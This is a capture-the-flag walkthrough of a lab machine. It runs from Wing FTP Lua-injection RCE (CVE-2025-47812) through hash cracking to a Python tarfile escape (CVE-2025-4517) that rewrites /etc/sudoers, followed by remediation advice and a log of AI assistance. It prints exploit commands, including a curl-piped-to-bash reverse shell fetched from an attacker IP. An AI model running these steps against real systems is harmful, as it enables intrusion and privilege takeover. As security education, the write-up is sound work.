Box info | OS: Linux (Debian 12) | Difficulty: Easy | Status: Retired Skills: Wing FTP Server Lua session injection, SHA-256 salt hash cracking, Python tarfile symlink/hardlink path traversal, VPN MTU troubleshooting Pwned: 2026-05-01
TL;DR
WingData serves a Wing FTP Server 7.4.3 web interface behind an Apache vhost (ftp.wingdata.htb). CVE-2025-47812 exploits a NULL-byte injection in the login username field — the crafted username is written to a session file that Lua then executes, achieving unauthenticated RCE. A practical snag: the VPN MTU of 1500 silently drops packets for responses larger than ~350 bytes; reducing to 1300 fixes it. With RCE as wingftp, reading user XML files (via base64 to avoid XML-in-console issues) yields a SHA-256+salt hash for the wacky account, which cracks to <REDACTED:CRED>. SSH as wacky gives the user flag. The only sudo rule runs a Python backup restore script with tarfile.extractall(filter="data") on attacker-writable input — CVE-2025-4517 abuses this filter’s symlink/hardlink chain bypass to write wacky ALL=(ALL) NOPASSWD: ALL into /etc/sudoers from root’s perspective, completing the box.
Attack chain
graph TD
A[nmap: 22 + 80] --> B[Apache redirect → wingdata.htb / ftp.wingdata.htb]
B --> C[VPN MTU 1500 drops large responses — fix with ifconfig mtu 1300]
C --> D[ftp.wingdata.htb → Wing FTP Server v7.4.3]
D --> E[CVE-2025-47812 Lua session injection → RCE as wingftp]
E --> F[base64 /opt/wftpserver/Data/1/users/wacky.xml]
F --> G[SHA-256+salt hash → hashcat mode 1410 → <REDACTED:CRED>]
G --> H[SSH wacky → user flag]
H --> I[sudo -l: python3 restore_backup_clients.py *]
I --> J[CVE-2025-4517: tarfile filter=data symlink chain → overwrite /etc/sudoers]
J --> K[sudo su → root flag]
Recon
1. Liveness check
$ ping -c 2 10.129.244.106
64 bytes from 10.129.244.106: icmp_seq=0 ttl=63 time=37ms
TTL 63 → Linux.
2. Port scan
$ nmap -sC -sV -p 22,80,443,8080,8443,2121,21 10.129.244.106
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open http Apache 2.4.66 (Debian)
21/tcp filtered ftp
The full -p- scan (run in background) confirms only ports 22 and 80 are open — 65,533 filtered.
3. VHost discovery + MTU problem
curl -sI http://10.129.244.106/
# Location: http://wingdata.htb/
Adding to /etc/hosts:
echo "10.129.244.106 wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts
Problem: Requests to http://wingdata.htb/ hang for 3 minutes then Connection reset by peer. Requests to the IP directly return a 301 immediately.
Root cause: VPN interface MTU is 1500. Small responses (301 redirect, ~350 bytes) fit in a single packet and get through. Large responses (Wing FTP login page, ~12 KB) are fragmented and silently dropped by the VPN gateway.
Fix:
sudo ifconfig utun8 mtu 1300
After the MTU reduction, wingdata.htb responds with HTTP 200 and 12,492 bytes.
4. Wing FTP version fingerprint
The login page at http://ftp.wingdata.htb/login.html contains:
<title>Wing FTP Server - Web Client</title>
<!-- Version: 7.4.3 -->
Wing FTP Server 7.4.3 is vulnerable to CVE-2025-47812 (unauthenticated RCE via Lua session injection).
Foothold
CVE-2025-47812: Wing FTP NULL-byte Lua injection
Mechanism: Wing FTP Server writes the login username into a Lua session file. A NULL byte (%00) terminates the intended string, and everything after becomes raw Lua code that the server executes when it loads the session.
Using the public exploit (Exploit-DB 52347):
python3 52347.py -u http://ftp.wingdata.htb -c "id"
[+] UID extracted: d65e624ac7a62ff26ee3a441c8a7c998...
[+] Sending GET to http://ftp.wingdata.htb/dir.html
--- Command Output ---
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),100(users)
RCE as wingftp.
Dead end: reverse shell with special characters
python3 52347.py -u http://ftp.wingdata.htb -c "curl -s http://10.10.15.17:8888/rev.sh | bash &"
The & character in the command is interpreted as a POST form-parameter delimiter — the exploit doesn’t URL-encode the -c argument. The command executes only its truncated prefix.
Decision: Skip the reverse shell and work entirely through the command execution output.
Extracting credentials from Wing FTP user database
Listing users:
python3 52347.py -u http://ftp.wingdata.htb \
-c "ls /opt/wftpserver/Data/1/users/"
# anonymous.xml john.xml maria.xml steve.xml wacky.xml
Direct cat of XML returns empty (XML special characters corrupt the output). Base64 encodes safely:
python3 52347.py -u http://ftp.wingdata.htb \
-c "base64 /opt/wftpserver/Data/1/users/wacky.xml"
Decoded XML contains:
<UserName>wacky</UserName>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
Wing FTP uses SHA-256(password + "WingFTP") — hashcat mode 1410:
hashcat -m 1410 \
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP \
/usr/share/wordlists/rockyou.txt
# → <REDACTED:CRED>
SSH access
sshpass -p '<REDACTED:CRED>' ssh wacky@10.129.244.106
wacky@wingdata:~$ cat ~/user.txt
[REDACTED]
Privilege Escalation
Enumeration
wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
Reading the target script:
# /opt/backup_clients/restore_backup_clients.py
import tarfile, os, sys, re, argparse
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
def main():
# ...validates backup_path and staging_dir via regex...
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Two critical facts:
filter="data"intarfile.extractall()— vulnerable to CVE-2025-4517 in Python 3.12.x ≤ 3.12.10/opt/backup_clients/backups/is writable by thewackygroup:drwxrwx--- root wacky
CVE-2025-4517: tarfile filter="data" symlink/hardlink bypass
Python’s filter="data" was intended to block path traversal in tar archives, but CVE-2025-4517 shows that a crafted chain of symlinks and hardlinks can still reach arbitrary paths outside the extraction directory.
The exploit technique:
- Create a deep chain of directories + symlinks that, when resolved, points outside the target directory (e.g., to
/etc) - Add a hardlink entry pointing to
escape/sudoers(which resolves to/etc/sudoersvia the chain) - Add a regular file entry at the same path with the malicious content and
mode=0440 - When tar extracts, the hardlink is created first (establishing the out-of-bounds link), then the file entry overwrites it through the hardlink → root writes to
/etc/sudoers
Building and deploying the exploit:
# Create the malicious tar (on attacker machine)
python3 cve-2025-4517-poc.py
# → /tmp/backup_9999.tar created
# Transfer to target's writable backup directory
sshpass -p '<REDACTED:CRED>' scp cve-2025-4517-poc.py \
wacky@10.129.244.106:/tmp/
sshpass -p '<REDACTED:CRED>' ssh wacky@10.129.244.106 \
'python3 /tmp/cve-2025-4517-poc.py'
[+] Malicious tar created at /tmp/backup_9999.tar
[+] Tar planted at /opt/backup_clients/backups/backup_9999.tar
[+] Sudo trigger: sudo python3 restore_backup_clients.py -b backup_9999.tar -r restore_getsuga
[+] Extraction completed
[+] Exploit completed! Check with 'sudo -l' then 'sudo su'!
wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
(ALL) NOPASSWD: ALL
wacky@wingdata:~$ sudo cat /root/root.txt
[REDACTED]
What’s actually broken
| # | Vulnerability | Severity | Root Cause |
|---|---|---|---|
| 1 | CVE-2025-47812: Wing FTP Lua session injection | Critical (CVSS 9.8) | NULL-byte termination allows Lua code injection into session files executed server-side |
| 2 | Weak Wing FTP password (SHA-256+static salt) | High | Static salt (WingFTP) means identical passwords produce identical hashes; dictionary attack trivial |
| 3 | CVE-2025-4517: Python tarfile filter="data" bypass | Critical (CVSS 9.1) | Symlink/hardlink chain escapes extraction sandbox in Python 3.12.x ≤ 3.12.10 |
| 4 | wacky writes to the backup directory that root unpacks | High | No write-isolation; the user supplying the archive also has sudo access to extract it |
Remediation (the boring half)
1. Patch Wing FTP Server to a version that fixes CVE-2025-47812. As a workaround, sanitize the username field server-side to reject NULL bytes and special Lua characters.
2. Upgrade Python to 3.12.11+ (CVE-2025-4517 fix) or 3.13+.
3. If staying on Python 3.12.x, use filter="tar" (strict POSIX) or implement manual member validation before extracting:
# Safe extraction with member validation
for member in tar.getmembers():
if os.path.isabs(member.name) or ".." in member.name:
raise ValueError(f"Unsafe tar entry: {member.name}")
tar.extractall(path=staging_dir)
4. Separate privilege boundaries: The user who can supply archives should never have sudo rights to execute a root process that extracts those same archives. Principle of least privilege at the architecture level.
Lessons learned
VPN MTU fragmentation silently breaks large HTTP responses. When a web service works over direct IP but hangs on the vhost, check packet sizes. Responses that fit in one MTU-1500 packet succeed; larger ones are fragmented and dropped by some VPN gateways.
sudo ifconfig <vpn_iface> mtu 1300fixes it immediately. Addmssfix 1300to the OpenVPN config for persistence.Base64-encode output when reading XML or binary files via command injection. Direct
catof XML files through a shell output channel often corrupts output because XML special characters (<,>,&) interact with HTML rendering, shell escaping, or output parsing.base64 /path/to/fileproduces ASCII-safe output.Static salts defeat the purpose of salting. Wing FTP’s
SHA-256(password + "WingFTP")means: (a) two users with the same password have the same hash, (b) rainbow tables for the fixed salt can be precomputed, (c) any cracked hash immediately applies to all Wing FTP installations worldwide using the same wordlist. Per-user random salts (stored alongside the hash) prevent all of this.tarfile.extractall(filter="data")is not a complete sandbox. Python 3.12’sfilter="data"was marketed as a safe default, but CVE-2025-4517 demonstrated that symlink/hardlink chains could still escape the extraction path. Trust the filter as defense-in-depth, not as a sole safety guarantee.Write access to the input of a privileged process is equivalent to privilege escalation. If a non-privileged user controls what archives get extracted by a root process, that user controls what ends up in the filesystem. Audit every
sudorule that processes user-supplied files.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| MTU diagnosis | “curl to wingdata.htb hangs for 3 minutes then connection reset, but IP direct works instantly. What could cause this?” | Immediately pointed to VPN MTU fragmentation. Explained that the 301 redirect (~350 bytes) fits in one packet while the full page (~12 KB) requires fragmentation, which some VPN gateways drop. Gave the ifconfig mtu 1300 fix. | Used as-is — this was the correct diagnosis. |
| base64 XML read | “Wing FTP XML file returns empty when cat’d through the exploit. How to get the content?” | Suggested base64 /path/to/file to bypass XML special character issues. | Used as-is. |
| CVE-2025-4517 explanation | “Explain how the symlink/hardlink chain in CVE-2025-4517 escapes the filter=‘data’ sandbox.” | Detailed the chain: deep symlink directory tree → escape symlink to target dir outside sandbox → hardlink to file in that escaped path → regular file entry overwrites via hardlink. | Used directly for the writeup explanation. |
| MITRE mapping | “Map the CVE-2025-4517 tarfile exploitation to MITRE techniques.” | Suggested T1574 (Hijack Execution Flow) for the symlink manipulation leading to privilege escalation. Also suggested T1055 (Process Injection). | Dropped T1055 — no process injection occurred. Kept T1574 and T1548. |
What Claude got wrong: Nothing significant on technical content.
What Claude couldn’t do: Actually run hashcat or test the exploit. The MTU diagnosis was inferential (Claude hadn’t seen the VPN config).
Net assist value: High on MTU diagnosis (saved hours); high on CVE-2025-4517 mechanism explanation; medium on MITRE.